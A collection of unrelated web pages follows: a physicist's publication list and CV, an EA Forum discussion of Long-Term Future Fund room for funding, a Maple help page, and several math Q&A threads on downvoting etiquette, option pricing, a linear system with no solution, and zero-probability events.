Max Neudecker, Stephan Ulrich, Stephan Herminghaus, Matthias Schröter
Phys. Rev. Lett. 111, 028001 (2013), [URL], [arXiv]
3. Stability of freely falling granular streams [pdf]
Stephan Ulrich and Annette Zippelius
Phys. Rev. Lett. 109, 166001 (2012), [URL] [arXiv]
Supplementary material: [movie version of Fig. 1] [supplementary calculations]
4. Random networks of cross-linked directed polymers
Stephan Ulrich, Annette Zippelius, and Panayotis Benetatos
Phys. Rev. E 81, 021802 (2010), [URL], [arXiv]
5. Dilute Wet Granulates: Nonequilibrium Dynamics and Structure Formation
Stephan Ulrich, Timo Aspelmeier, Annette Zippelius, Klaus Roeller, Axel Fingerle, Stephan Herminghaus
Phys. Rev. E 80, 031306 (2009), [URL], [arXiv]
6. Cooling and aggregation in wet granulates
Stephan Ulrich, Timo Aspelmeier, Klaus Roeller, Axel Fingerle, Stephan Herminghaus, Annette Zippelius
Phys. Rev. Lett. 102, 148002 (2009), [URL], [EPAPS Supplementary Material], [arXiv]
7. Diffraction from the β-sheet crystallites in spider silk
Stephan Ulrich, Anja Glišović, Tim Salditt and Annette Zippelius
Eur. Phys. J. E 27, 229 (2008) [URL], [arXiv]
8. Influence of friction on granular segregation
Stephan Ulrich, Matthias Schröter, and Harry L. Swinney
Physical Review E 76, 042301 (2007) [URL], [arXiv]
9. Granulare Medien: Der Paranuss-Effekt
Stephan Ulrich and Matthias Schröter
Physik in unserer Zeit 38, 266 (2007) [URL] (German)
10. Elasticity of highly cross-linked random networks
Stephan Ulrich, Xiaoming Mao, Paul M. Goldbart and Annette Zippelius
Europhys. Lett. 76, 677 (2006) [URL], [arXiv]
11. Mechanisms in the size segregation of a binary granular mixture
Matthias Schröter, Stephan Ulrich, Jennifer Kreft, Jack B. Swift, and Harry L. Swinney
Physical Review E 74, 011307 (2006) [URL], [arXiv]
Curriculum Vitae
2000 German “Abitur” (grade 1.0), (≈ high school degree) 2000 – 2001 Distance learning program (FiPS) at the University of Kaiserslautern meanwhile: Zivildienst (compulsory paid community service) (substitute for army service) 2001 – 2003 Study of physics at the University of Würzburg 2002 Vordiplom (grade 1.2) 2003 – 2004 Graduate program at the University of Texas at Austin Working on segregation of granular matter at the Center for Nonlinear Dynamics Dec. 2004 Master's degree (GPA: 3.8) 2005 – 2010 Working on a PhD at the University of Göttingen Advisor: Annette Zippelius Thesis title: Aggregation and Gelation in Random Networks 2010 – 2011 Post-Doc at the Institute for Theoretical Physics at Göttingen University with Annette Zippelius since 2011 Post-Doc at the Lorentz Institute for Theoretical Physics at Leiden University with Vincenzo Vitelli
Further Research Interests
which doesn't necessarily mean I'm an expert...
• Classical many-body problems (granulates, colloidal systems, glasses, polymers, jamming)
• Optimization problems
• Image processing
• Fluid dynamics, turbulence
• Chaos, fractals
• Neural networks
• Non-equilibrium statistical physics
• Biophyics: biomolecular structures, self-organization, membranes
• Simulations
• Nonlinear dynamics, pattern formation
• Social networks and related problems, e.g. spreading of diseases, traffic flow
Computer Skills
ResearchGate profile
www.researchgate.net/profile/Stephan_Ulrich3
Theory page of Göttingen University
www.theorie.physik.uni-goettingen.de
Statistical Physics and Complex Systems Group
www.theorie.physik.uni-goettingen.de/forschung/stat/index.en.html
Center for Nonlinear Dynamics, University of Texas at Austin
chaos.utexas.edu
PhD Comics
www.phdcomics.com/comics.php
last (serious) update 23.08.2014
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# The Long-Term Future Fund has room for more funding, right now
post by abergal · 2021-03-29T01:46:21.779Z · EA · GW · 23 comments
• The Long-Term Future Fund is on track to approve $1.5M -$2M of grants this round. This is 3 - 4x what we’ve spent in any of our last five grant rounds and most of our current fund balance.
• We received 129 applications this round, desk rejected 33 of them, and are evaluating the remaining 96. Looking at our preliminary evaluations, I’d guess we’ll fund 20 - 30 of these.
• In our last comparable grant round, April 2019 [EA · GW], we received 91 applications and funded 13, for a total of $875,150. Compared to that round: • We’ve received more applications. (42% more than in April.) • We’re likely to distribute more money per applicant, because several applications are for larger grants, and requested salaries have gone up. (The average grant request is ~$80K this round vs. ~$50K in April, and the median is ~$50K vs. ~$25K in April.) • We’re likely to fund a slightly greater percentage of applications. (16% - 23% vs. 14% in April.) • We’ve recently changed parts of the fund’s infrastructure and composition, and it’s possible that these changes have caused us to unintentionally lower our standards for funding. My personal sense is that this isn’t the case; I think the increased spending reflects an increase in the number of quality applications submitted to us, as well as changing applicant salaries. • If you were considering donating to the fund in the past but were unsure about its room for more funding, now could be a particularly impactful time to give. I don’t know if my perceived increase in quality applications will persist, but I no longer think it’s implausible for the fund to spend$4M - $8M this year while maintaining our previous bar for funding. This is up from my previous guess of$2M [EA(p) · GW(p)].
comment by Jonas Vollmer · 2021-04-29T17:58:41.518Z · EA(p) · GW(p)
The EA Infrastructure Fund also has $1.2–$4 million in room for more funding
• The EA Infrastructure Fund will grant out around $1.2 million during this funding round. Extrapolating from that number and expecting some further growth, I'd guess it'll want to spend around$3–$6 million this year. • The fund has$1.8 million available currently, leaving a $1.2–$4.2 million funding gap. I expect that donors will by default give around $1.4 million by November, likely leaving to a funding shortfall of$0–$2.8 million (with a median guess of$1 million).
• Similar to the Long-Term Future Fund, the EA Infrastructure Fund has greatly increased its grantmaking capacity: It received 79 applications as part of the current round (up 2x compared to last round), desk-rejected 21 of them, and decided to fund 25 (up 3x) out of the remaining 58, with a total grant volume of $1.2 million (up 3x), while (in my view) maintaining and perhaps increasing the quality of the grants. comment by Jack Malde (jackmalde) · 2021-03-29T14:46:57.093Z · EA(p) · GW(p) We’ve recently changed parts of the fund’s infrastructure and composition, and it’s possible that these changes have caused us to unintentionally lower our standards for funding. My personal sense is that this isn’t the case Can you say more about why the changes might have led lower standards for funding? It sounds like you think there are some at least somewhat plausible reasons why this might be the case. Can you also say more about why you actually don't think the standards have fallen despite these possible reasons? Replies from: abergal comment by abergal · 2021-03-29T15:33:06.126Z · EA(p) · GW(p) This round, we switched from a system where we had all the grant discussion in a single spreadsheet to one where we discuss each grant in a separate Google doc, linked from a single spreadsheet. One fund manager has commented that they feel less on-top of this grant round than before as a result. (We're going to rethink this system again for next grant round.) We also changed the fund composition a bunch-- Helen and Matt left, I became chair, and three new guest managers joined. A priori, this could cause a shift in standards, though I have no particular reason to think it would shift them downward. I personally don't think the standards have fallen because I've been keeping close track of all the grants and feel like I have a good model of the old fund team (and in some cases, have asked them directly for advice). I think the old team would have made similar decisions to the ones we're making on this set of applications. It's possible there would have been a few differences, but not enough to explain a big change in spending. Replies from: jackmalde comment by Jack Malde (jackmalde) · 2021-03-29T16:07:45.286Z · EA(p) · GW(p) Thanks! I'm actually not surprised that the quality of grant applications might be increasing e.g. due to people learning more about what makes for a good grant. I have a follow-on question. Do you think that the increase in the size of the grant requests is justified? Is this because people are being more ambitious in what they want to do? Replies from: abergal, Jonas Vollmer comment by abergal · 2021-03-29T16:29:36.648Z · EA(p) · GW(p) (To be clear, I think it's mostly just that we have more applications, and less that the mean application is significantly better than before.) In several cases increased grant requests reflect larger projects or requests for funding for longer time periods. We've also definitely had a marked increase in the average individual salary request per year-- setting aside whether this is justified, this runs into a bunch of thorny issues around secondary effects that we've been discussing this round. I think we're likely to prioritize having a more standardized policy for individual salaries by next grant round. comment by Jonas Vollmer · 2021-03-29T16:29:10.069Z · EA(p) · GW(p) We also did a lot more promotion and encouraged more people to submit promising applications, and this plausibly also caused more people to apply – so it may be faster-than-organic growth. comment by SomeonesBurnerAcount · 2021-04-10T22:17:43.926Z · EA(p) · GW(p) Why does Open Philanthropy not start granting out$1M/yr to the Long-Term Future Fund? Hopefully these opportunities would beat Open Phil's last dollar!
Replies from: abergal
comment by abergal · 2021-04-10T23:22:57.633Z · EA(p) · GW(p)
I think we probably will seek out funding from larger institutional funders if our funding gap persists. We actually just applied for a ~$1M grant from the Survival and Flourishing Fund. comment by xccf · 2021-03-30T03:07:54.023Z · EA(p) · GW(p) We received 129 applications this round, desk rejected 33 of them, and are evaluating the remaining 96. Looking at our preliminary evaluations, I’d guess we’ll fund 20 - 30 of these. I keep hearing that there is "plenty of money for AI safety" and things like that. But by the reversal test, don't these numbers imply you think that most LTFF applicants could do more good earning to give? (Assuming they can make at least the hourly wage they requested on their application in the private sector.) If they request a grant with a wage of$X/hr, and you reject their proposal, that implies you think the value of the work they are doing is less than $X (since you are unwilling to purchase it at that price), so they would be better off spending a marginal hour to earn$X for the fund instead of putting a marginal hour into direct work.
Your post talks about "room for more funding" in reference to your previous standards for funding, but I think this might be a better way to think about it--if you would be sad to see an applicant give up on direct work and switch to earning to give after LTFF rejects them, I think you still have room for more funding. (This is ~80% of applicants who are getting rejected here--what message should they take away from a rejection? I realize that "give up on direct work" is probably an incredibly demoralizing message for those 80%, I'm just not sure why the above argument is incorrect.)
Replies from: abergal
comment by abergal · 2021-03-30T05:29:13.686Z · EA(p) · GW(p)
I think many applicants who we reject could apply with different proposals that I'd be more excited to fund-- rejecting an application doesn't mean I think there's no good direct work the applicant could do.
I would guess some people would be better off earning to give, but I don't know that I could say which ones just from looking at one application they've sent us.
Replies from: xccf
comment by xccf · 2021-03-30T06:27:27.777Z · EA(p) · GW(p)
I see. That suggests you think the LTFF would have much more room for funding with some not-super-large changes to your processes, such as encouraging applicants to submit multiple project proposals, or doing calls with applicants to talk about other projects they could do, or modifications to their original proposal which would make it more appealing to you.
Replies from: abergal
comment by abergal · 2021-03-30T07:30:03.829Z · EA(p) · GW(p)
Sadly, I think those changes would in fact be fairly large and would take up a lot of fund manager time. I think small modifications to original proposals wouldn't be enough, and it would require suggesting new projects or assessing applicants holistically and seeing if a career change made sense.
In my mind, this relates to ways in which mentorship is a bottleneck in longtermist work right now-- there are probably lots of people who could be doing useful direct work, but they would require resources and direction that we as a community don't have the capacity for. I don't think the LTFF is well-placed to provide this kind of mentorship, though we do offer to give people one-off feedback on their applications.
Replies from: xccf
comment by xccf · 2021-03-30T09:13:55.595Z · EA(p) · GW(p)
there are probably lots of people who could be doing useful direct work, but they would require resources and direction that we as a community don't have the capacity for.
I imagine this could be one of the highest-leverage places to apply additional resources and direction though. People who are applying for funding for independent projects are people who desire to operate autonomously and execute on their own vision. So I imagine they'd require much less direction than marginal employees at an EA organization, for instance.
I also think there's an epistemic humility angle here. It's very likely that the longtermist movement as it currently exists is missing important perspectives. To some degree, as a funder, you are diffing your perspective against that of applicants and rejecting applicants whose projects make sense according to their perspective and not yours. It seems easy for this to result in the longtermist movement developing more homogenous perspectives over time, as people Goodhart on whatever metrics are related to getting funding/career advancement. I'm actually not convinced that direction is a good thing! I personally would be more inclined to fund anyone who meets a particular talent bar. That also makes your job easier because you can focus on just the person/people and worry less about their project.
we do offer to give people one-off feedback on their applications.
Huh. I understood your rejection email says the fund was unable to provide further feedback due to high volume of applications.
Replies from: abergal
comment by abergal · 2021-04-06T22:41:57.448Z · EA(p) · GW(p)
I imagine this could be one of the highest-leverage places to apply additional resources and direction though. People who are applying for funding for independent projects are people who desire to operate autonomously and execute on their own vision. So I imagine they'd require much less direction than marginal employees at an EA organization, for instance.
I don't have a strong take on whether people rejected from the LTFF are the best use of mentorship resources. I think many employees at EA organizations are also selected for being self-directed. I know of cases where mentorship made a big difference to both existing employees and independent LTFF applicants.
I personally would be more inclined to fund anyone who meets a particular talent bar. That also makes your job easier because you can focus on just the person/people and worry less about their project.
We do weigh individual talent heavily when deciding what to fund, i.e., sometimes we will fund someone to do work we're less excited about because we're interested in supporting the applicant's career. I'm not in favor of funding exclusively based on talent, because I think a lot of the impact of our grants is in how they affect the surrounding field, and low-quality work dilutes the quality of those fields and attracts other low-quality work.
Huh. I understood your rejection email says the fund was unable to provide further feedback due to high volume of applications.
Whoops, yeah-- we were previously overwhelmed with requests for feedback, so we now only offer feedback on a subset of applications where fund managers are actively interested in providing it.
Replies from: xccf
comment by xccf · 2021-04-08T11:28:45.672Z · EA(p) · GW(p)
I'm not in favor of funding exclusively based on talent, because I think a lot of the impact of our grants is in how they affect the surrounding field, and low-quality work dilutes the quality of those fields and attracts other low-quality work.
Let's compare the situation of the Long-Term Future Fund evaluating the quality of a grant proposal to that of the academic community evaluating the quality of a published paper. Compared to the LTFF evaluating a grant proposal, the academic community evaluating the quality of a published paper has big advantages: The work is being evaluated retrospectively instead of prospectively (i.e. it actually exists, it is not just a hypothetical project). The academic community has more time and more eyeballs. The academic community has people who are very senior in their field, and your team is relatively junior--plus, "longtermism" is a huge area that's really hard to be an expert in all of.
Even so, the academic community doesn't seem very good at their task. "Sleeping beauty" papers, whose quality is only recognized long after publication, seem common. Breakthroughs are denounced by scientists, or simply underappreciated, at first (often 'correctly' due to being less fleshed out than existing theories). This paper contains a list of 34 examples of Nobel Prize-winning work being rejected by peer review. "Science advances one funeral at a time", they say.
Problems compound when the question of first-order quality is replaced by the question of what others will consider to be high quality. You're funding researchers to do work that you consider to be work that others will consider to be good--based on relatively superficial assessments due to time limitations, it sounds like.
Seems like a recipe for herd behavior. But breakthroughs come from mavericks. This funding strategy could have a negative effect by stifling innovation (filtering out contrarian thinking and contrarian researchers from the field).
Keep longtermism weird?
(I'm also a little skeptical of your "low-quality work dilutes the quality of those fields and attracts other low-quality work" fear--since high citation count is often thought of as an ipso facto measure of quality in academia, it would seem that if work attracts additional related work, it is probably not low quality. I think the most likely fate of low-quality work is to be forgotten. If people are too credulous of work which is actually low-quality, it's unclear to me why the fund managers would be immune to this, and having more contrarians seems like the best solution to me. The general approach of "fund many perspectives and let them determine what constitutes quality through discussion" has the advantage of offloading work from the LTFF team.)
Replies from: abergal
comment by abergal · 2021-04-08T18:59:44.033Z · EA(p) · GW(p)
I'm also a little skeptical of your "low-quality work dilutes the quality of those fields and attracts other low-quality work" fear--since high citation count is often thought of as an ipso facto measure of quality in academia, it would seem that if work attracts additional related work, it is probably not low quality.
The difference here is that most academic fields are pretty well-established, whereas AI safety, longtermism, and longtermist subparts of most academic fields are very new. The mechanism for attracting low-quality work I'm imagining is that smart people look at existing work and think "these people seem amateurish, and I'm not interested in engaging with them". Luke Muelhauser's report on case studies in early field growth gives the case of cryonics, which "failed to grow [...] is not part of normal medical practice, it is regarded with great skepticism by the mainstream scientific community, and it has not been graced with much funding or scientific attention." I doubt most low-quality work we could fund would cripple the surrounding fields this way, but I do think it would have an effect on the kind of people who were interested in doing longtermist work.
I will also say that I think somewhat different perspectives do get funded through the LTFF, partially because we've intentionally selected fund managers with different views, and we weigh it strongly if one fund manager is really excited about something. We've made many grants that didn't cross the funding bar for one or more fund managers.
Replies from: xccf
comment by xccf · 2021-04-15T09:47:44.492Z · EA(p) · GW(p)
Sure. I guess I don't have a lot of faith in your team's ability to do this, since you/people you are funding are already saying things that seem amateurish to me. But I'm not sure that is a big deal.
comment by David_Moss · 2021-03-29T12:01:15.471Z · EA(p) · GW(p)
I wonder whether this alters the calculus for whether to give to donor lotteries (as opposed to EA Funds)?
Four months ago, it seemed like donating to the donor lottery was being recommended [EA · GW]as a kind of default (unless [EA(p) · GW(p)]the donor had a particularly cool and unusual idea for where to donate). I speculated that it might be better for a lot of donors to just donate to the Funds, resulting in the money being allocated by the fund managers rather than whoever won the lottery[^1]. It seemed at the time that the response [EA(p) · GW(p)] was fairly sanguine about the possibility that individual donors (e.g. lottery winners) might make better allocations than the fund managers.
If we thought that the EA Funds are quite well-funded relative to the potential projects available to fund, we might be more inclined to think this is true (since the lottery winner can, in theory, seek out more promising opportunities). If, however, EA Funds are relatively under-funded, and can't fund many promising opportunities available to them, then it might seem better to just encourage people to donate to the funds by default (unless, perhaps, they are particularly confident that they or others could beat the fund managers with more time to reflect).
One might argue that it would be better for people to donate to the lottery even when the Funds are very underfunded, because whoever the winner is can make a judicious decision (potentially advised by the Fund managers) about whether they should just donate to the Funds or not. As I noted at the time, I'm a little worried that lottery winners might be biased against just donating their winnings back to the Fund. And, more generally, one might wonder about why the lottery winner would be expected to make a better decision about that question than the fund managers themselves. There may also be other advantages to people donating directly to the funds if they are under-funded (e.g. perhaps grants can be made more quickly via people donating directly to the funds, than via the lottery winner conducting their own investigations and possibly choosing to donate to the funds, or perhaps funding decisions can be made more reliably, if the funds have a more predictable amount of money coming in, rather than a large pool of money possibly going to them, possibly being donated to projects they would recommend and possibly being donated elsewhere), but of course I don't know about whether any of those practical details hold.
[^1]
Though to be clear I also speculated that it could be better for people to make individual donation decisions, rather than to donate to the lottery, if this lead to more investigation, experimentation and knowledge generation from a larger number of more engaged individuals.
Replies from: Jonas Vollmer
comment by Jonas Vollmer · 2021-03-29T16:28:07.000Z · EA(p) · GW(p)
I wonder whether this alters the calculus for whether to give to donor lotteries (as opposed to EA Funds)?
I personally think it doesn't change it much. As you previously mentioned, there's a risk of donors being biased against giving to funds and instead wanting to do their "own thing"; I hope that donor lottery winners will be able to overcome that.
It seemed at the time that the response [EA(p) · GW(p)] was fairly sanguine about the possibility that individual donors (e.g. lottery winners) might make better allocations than the fund managers.
It's worth noting that I only believe this under the assumption that the individual donors know about some specific opportunities that the fund managers are unaware of, or perhaps have significant worldview differences with the fund managers.
Replies from: jackmalde
comment by Jack Malde (jackmalde) · 2021-03-29T17:27:01.657Z · EA(p) · GW(p)
It's worth noting that I only believe this under the assumption that the individual donors know about some specific opportunities that the fund managers are unaware of, or perhaps have significant worldview differences with the fund managers.
The long-term future fund can only give to people who apply for funding though (right?) whereas someone who wins a donor lottery can give literally anywhere. This seems another reason why a donor lottery winner might give better?
Replies from: Jonas Vollmer
comment by Jonas Vollmer · 2021-03-30T13:50:30.705Z · EA(p) · GW(p)
I don't really think there's a difference between the two:
• The LTFF can encourage anyone to apply. Several of the grants of the current round are a result of proactive outreach to specific individuals. (This still involves filling in the application form, but that's just because it's slightly lower-effort than exchanging the same information via email.)
• A donor lottery winner can only grant to individuals who submit due diligence materials to CEA, which also involves filling in some forms.
Replies from: jackmalde
comment by Jack Malde (jackmalde) · 2021-03-30T14:00:09.195Z · EA(p) · GW(p)
OK thanks that makes sense
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A stationary pole A is viewed by an observer P who is sitting on a small merry-go-round which rotates about a fixed vertical axis at B with a constant angular velocity as shown. Determine the apparent velocity of A as seen by the observer P. Does this velocity depend on the location of the observer on the merry-go-round?
STEP-BY-STEP SOLUTION:
Chapter: Problem:
Corresponding Textbook
Engineering Mechanics | 7th Edition
9781118213551ISBN-13: 1118213556ISBN: Authors:
This is an alternate ISBN. View the primary ISBN for: Engineering Mechanics 7th Edition Textbook Solutions
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MapleTA[Export] - Maple Help
# Online Help
###### All Products Maple MapleSim
Home : Support : Online Help : Connectivity : Maple T.A. : MapleTA[Export]
MapleTA
Export
export a Maple T.A. course module
Calling Sequence Export( questions, filename )
Parameters
questions - list or Record filename - string
Description
• The Export command accepts an individual question, or list of questions and exports them as a course module file suitable for import into Maple T.A.
• Questions must be in a Record format similar to that returned by the MapleTA:-Import command.
Examples
> $r≔\mathrm{MapleTA}:-\mathrm{Import}\left("coursemodule.zip"\right)$
> $\mathrm{MapleTA}:-\mathrm{Export}\left(\left[r\right],"newcoursemodule.zip"\right)$
Compatibility
• The MapleTA[Export] command was introduced in Maple 18.
• For more information on Maple 18 changes, see Updates in Maple 18.
See Also
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# Specific Downvoting
DISCLAIMER: I understand that the consensus of the community about downvoting is that each one has its own personal reasons to downvote, and should not have to justify that.
That said, I recently gave an answer where another user (let's call him $X$) also gave an answer. I found the answer by $X$ unhelpful and misleading. I downvoted the answer. After a short while, I explained why I downvoted.
Shortly after I explained the downvote, my answer was downvoted with no reasoning. The question had approximately $14$ views when that happened, and it was really in a short time span after my explanation. I can't help but feel that this was retaliation.
My question is: Is this under "fair use" of downvoting? Do I have to deal with this, and move on? (I am not being sarcastic, the answer to these questions may very well be yes).
If not, what can I do? Is flagging appropriate? My first thought-reaction was to flag, since I believe moderators can see downvoters and would be able to solve this without exposing anyone etc. Is my reasoning innapropriate?
PS: I didn't link the answer because I don't like unnecessary exposure. If it is necessary for the context of the discussion, I can link it.
• If it is a retaliation, of course it is not fair. On the other hand, invalidation of votes is an extreme measure, and flags should not be used for such a purpose. A script deals with the reversal of serial downvotes, so there is a safety mechanism in place. My suggestion for dealing with isolated war events really is to move on. If it will turn out not to be an isolated event, please notify us. – Jack D'Aurizio Dec 2 '17 at 16:25
• This is why I never explain my downvotes. I've had completely separate questions and/or answers downvoted within minutes of claiming a downvote. Actually for most of the downvotes that I have explained, I have had this happen. – Morgan Rodgers Dec 7 '17 at 23:55
• As far as I can tell, you always have to deal with all downvotes and just move on. It's the only way to not quickly hate contributing to Stack Exchange. – Todd Wilcox Dec 9 '17 at 13:31
• That was definitely retaliation, but it's part of how people act on the Internet and there's not much you can do about it. My next door neighbors do some very petty stuff even though they know I see them. I can only imagine what awful things they feel emboldened to do behind the anonymity of a screen name. – Robert Soupe Dec 13 '17 at 22:30
I understand that the consensus of the community about downvoting is that each one has its own personal reasons to downvote, and should not have to justify that.
Yes, but there is one major exception, which is that one must not vote based on the identity of the post-owner.
Shortly after I explained the downvote, my answer was downvoted with no reasoning. The question had approximately $14$ views when that happened, and it was really in a short time span after my explanation. I can't help but feel that this was retaliation.
This seems plausible, but it is not certain.
Is this under "fair use" of downvoting?
If the vote was actually cast in reaction to your vote, it is not admissible. This use of votes can be, and has been, penalized in the past.
Do I have to deal with this, and move on?
In case it stays an isolated instance, there is nothing much to be done locally.
If not, what can I do? Is flagging appropriate?
You can still flag and explain the problem. It might be that for you locally it is isolated but the user in question exhibited a pattern of behavior of this form already. Yet be prepared that we cannot do anything. (It also makes sense to phrase your flag in this spirit, as information, as opposed to a call for action.)
My first thought-reaction was to flag, since I believe moderators can see downvoters and would be able to solve this without exposing anyone etc. Is my reasoning innapropriate?
As said, feel free to flag to let us now. But actually we elected moderators can neither see the origins of individual votes nor can be undo them. Only if there is an accumulation of votes, then we can do something.
Technically, SE staff could do that or give us the means. But it is not really feasible for them to track individual votes. Moreover, there is also the issue that even if it should be the case that the origin of the vote is what you suspect it is a bit tricky to ascertain the motivation based on a single vote. Surely, the voter could come up with some excuse like: "Of course it was not a retaliation, I would never do that. It is true my attention was drawn back to that thread because of the comment, thus the temporal coincidence. But my vote is perfectly justified, because {some argument why they downvote}." What do you do then? Say the reasoning is not credible enough? But maybe it is not completely implausible in a given case, rare is the answer that is so perfect that one could not cook up a reason to downvote. Anyway, it would just lead to all kinds of discussion and make the problem grow and grow.
Thus, to recap, if it stays at one downvote, just move on. It's not nice, but it is not that big a deal either. But if it becomes a persistent or bigger problem, do inform us, and we have means to deal with it.
Generally, isolated and somewhat minor conflicts are often best handled by just disengaging and letting the thing slide away.
• "This use of votes can be, and has been, sanctioned in the past." "sanction" means "to authorize, countenance, or approve; to ratify or confirm". If it's not admissible, then I don't think it has been sanctioned. – Gerry Myerson Dec 2 '17 at 22:35
• Thank you for the remark. I believe(d) but might well be wrong that "to sanction" also means "to penalize". Anyway I changed it to "penalized" to correct or at least clarify. – quid Dec 3 '17 at 1:25
• It's a funny word. To apply sanctions is to penalize but (at least according to the Macquarie Dictionary) to sanction doesn't have that meaning. – Gerry Myerson Dec 3 '17 at 1:41
• @quid Thank you very much for the thorough attention to the points I raised. – Aloizio Macedo Dec 3 '17 at 2:18
• sanction: (noun) a threatened penalty for disobeying a law or rule. (verb) impose a sanction or penalty on. – Alexander Gruber Dec 3 '17 at 3:08
• Also means official permission or approval. What an inconvenient double meaning – Alexander Gruber Dec 3 '17 at 3:11
• @AlexanderGruber "(verb) impose a sanction or penalty on" is a rare use and apt to be misunderstood. As a verb it almost always means to authorise. Furthermore, to sanction an act ALWAYS means to permit or authorise it. When sanctioning somebody as a punishment, the object of the sanctions is always the subject of the verb to sanction and the sanction itself is not sanctioned in the sense of punished. – samerivertwice Dec 4 '17 at 20:43
• Slightly speculative on my part, I'll grant, but my impression is that the negative meaning is typically applied to actors (e.g. "US Sanctions North Korea"), while the positive meaning is typically applied to actions or events (e.g. "FIFA sanctioned the match"). That said, many times clearer noun constructions get used instead ("US Issues Sanctions Against North Korea", "The match had FIFA's sanction."). – Kaji Dec 7 '17 at 0:24
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# Black Scholes equation application [closed]
I have gone through quite a few exercises using Black-Scholes equation (or formula as you wish to call it). However, I am not quite understand the following question:
A stock is currently selling at $S_0= \$92$and that the risk-free continuously compounded annual rate is$r=0.018$. Suppose that the exercise price is$K=\$98$ and the volatility of annual log-returns is $\sigma=0.2$.
If one quarter from now, the stock price is $\$95\$, what is the price of the call?
Any hints would be greatly appreciated.
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Did you even try to do your homework? – chrisaycock♦ Aug 20 '12 at 13:00
## closed as off topic by chrisaycock♦Aug 20 '12 at 13:00
Questions on Quantitative Finance Stack Exchange are expected to relate to quantitative finance within the scope defined in the FAQ. Consider editing the question or leaving comments for improvement if you believe the question can be reworded to fit within the scope. Read more about closed questions here.
## 1 Answer
First of all, I do not think anyone here is gonna solve your home work question. But here couple hints. One of the most important aspect you omitted is the expiration date of said option. Also you did not mention whether the stock pays any dividends: If it does do you know the dividend yield or are there any known dollar priced dividends gonna be paid during the life time of the option? Also is it a european or american option? Once you have that information I do not see a problem that keeps you away from pricing the option.
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## anonymous 3 years ago solve the system: y= -1/3 + 2 and x + 3y = 3
1. anonymous
-1/3x*
2. anonymous
x+3y=3 substrct x from both sides what would you get?
3. anonymous
3y=-x+3?
4. anonymous
id set them both equal to y then solve like that
5. anonymous
ar you can sub y=-1/3x+2 in to other equation x+3(-1/3 x+x)=3 solve for x
6. anonymous
what?
7. anonymous
since y equals -1/3x+2 we can substitute that into the second equation like this:$x+3(-1/3 x+2)=3$and then solve for x:$x-3x+6=3$$-2x+6=3$$-2x=-3$$x=3/2$ now substitute this x into the first equation:$y=-1/3(3/2)+2$$y=-1/2+2$$y=-5/2$ ${x=3/2~~~~~~~~y=-5/2}$
8. anonymous
okay I see the first part. but the problem with -5/2, is that thats not one of the answer options. but 3/2, 0 is
9. anonymous
oh sorry 1 second
10. anonymous
$x+3(−1/3x+2)=3$ and then solve for x: $x−x+6=3$$0x+6=3$$0x=−3$$x=0$ now substitute this x into the first equation: $y=−1/3(0)+2$$y=0+2$$y=2$ $x=0~~~y=2$
11. anonymous
is that one of the choices? sorry i did that wrong but i fixed it...helpful? :)
12. anonymous
(0, 1) (1, 0) (3, 1/3) (3/2, 0) these are the options.
13. anonymous
im so confused .-.
14. anonymous
its A
15. anonymous
how?
16. anonymous
y has to equal 1 when x is 0
17. jim_thompson5910
yummydum, if 0x=−3, then 0 = -3 which is a contradiction So there are no solutions.
18. anonymous
besides the mistake then you .. wait if you have choses then the order pair are (x,y) sub into the equations example take the first one 0,1 y= -1/3 + 2 and x + 3y = 3 1=-1/3(0)+2 and 0+3(1)=3 1=2 not a solutation and 3=3 solves right equations so do the next set of pairs and tell me what you find out
19. anonymous
damn im confused...
20. anonymous
is that all the possiablities? there is no solutions be these are parallal lines
21. anonymous
sorry your confused but it says solve so look at what we have sub the points in the equations and see if it equals or solve for x or y and then find what you did nt solve for... do you understand this
22. anonymous
there is a no solution
23. jim_thompson5910
i would be confused too...the answer choices are incorrect because the true answer is "no solution" or "there is/are no solution(s)"
24. jim_thompson5910
so there must be a typo somewhere
25. anonymous
26. anonymous
i think i got this jim_thompson5910
27. anonymous
yeah i do thanks :)
28. anonymous
great you also can see let equations equal -1/3 x+2=-1/3 x+1and solve for x then you get 2=1 so no solution. :-)
29. phi
another way to look at $y= -\frac{1}{3}x + 2 \text { and } x + 3y = 3$ the 2nd equation, after rearranging into y= mx+b form is $y= -\frac{1}{3}x+3$ You have two lines that are parallel, and never meet. There is no (x,y) pair that is on both lines (as would be the case if they intersected)
30. anonymous
Find more explanations on OpenStudy
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# Can an event be possible if its probability is zero?
Consider a computer program that generates any random number between 0 and 1(exclusive). There are infinitely many numbers between 0 and 1. So the probability that the random-number generate the same number twice, will be given by -
$P(E)={1\over \infty}=0$
($\because$ number of favourable outcome = 1, sample space = $\infty$)
But it has happened many times that the program repeats a number, even though, the probability of that event is 0.
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The whole number-of-favorable-outcomes-devided-by-number-of-elements-of-sample-space approach to probability makes only really sense for finite probability spaces and is even there overly restrictive. – Michael Greinecker Jan 28 '13 at 13:48
You do not even need look for repeated numbers -- the probability of generating any given number is zero (assuming a true random-number generator and infinite precision). Still it happens every time the generator is run. – Ansgar Esztermann Jan 28 '13 at 14:02
Consider a computer program that generates any random number between 0 and 1... Simply put, such a thing does not and cannot exist. – Did Jan 28 '13 at 14:10
You think wrong and I know what you are talking about. Let me suggest you explain what exactly it is you think the Math.Random() thing is proving. – Did Jan 28 '13 at 14:36
Sandy: if you drop the idea of using a computer, I think your question is valid. It is possible to (hypothetically) have a RNG which chooses uniformly from $[0,1]$, in which case any given outcome would have probability zero. – Xodarap Jan 28 '13 at 15:36
If the probability of a random variable taking any particular value is $0$, then the sample space must be infinite, and the probability of a repeated value (in a sequence of i.i.d. samples) is also $0$. So if you see a repeated value, you can conclude with confidence that the probability of that particular value is not zero:
• because the sample space is actually finite, or
• because the samples are not actually independent, or
• because the probability distribution is not actually uniform.
On a computer, all of these problems occur at once: there are only finitely many floating-point numbers; pseudo-random number generators do not generate all of these numbers with equal probability; and samples from a pseudo-random number generator are not independent.
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+1 for all of these problems occur at once... – Did Jan 28 '13 at 23:20
A real number representation in computers is not really "real". It is represented by a finite number of bits, so only finitely many values can be represented. That means all random variables generated by a computer will be discrete.
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Besides, even if a computer were able to generate every real number, it couldn't do it completely randomly. In fact, random algorithms are just pseudo-random. – AndreasT Jan 28 '13 at 13:51
@AndreasT: besides that, even if a computer were able to generate completely random numbers, it couldn't generate every real number. – Ilya Jan 28 '13 at 14:03
@Ilya: True. But there in fact ARE computer-components that can produce random numbers, some devices are working with radiation, some, like /dev/random on unix-machines, are working with input entropy. But a computer can (but logically not by itself) create random numbers. – sebigu Jan 28 '13 at 14:17
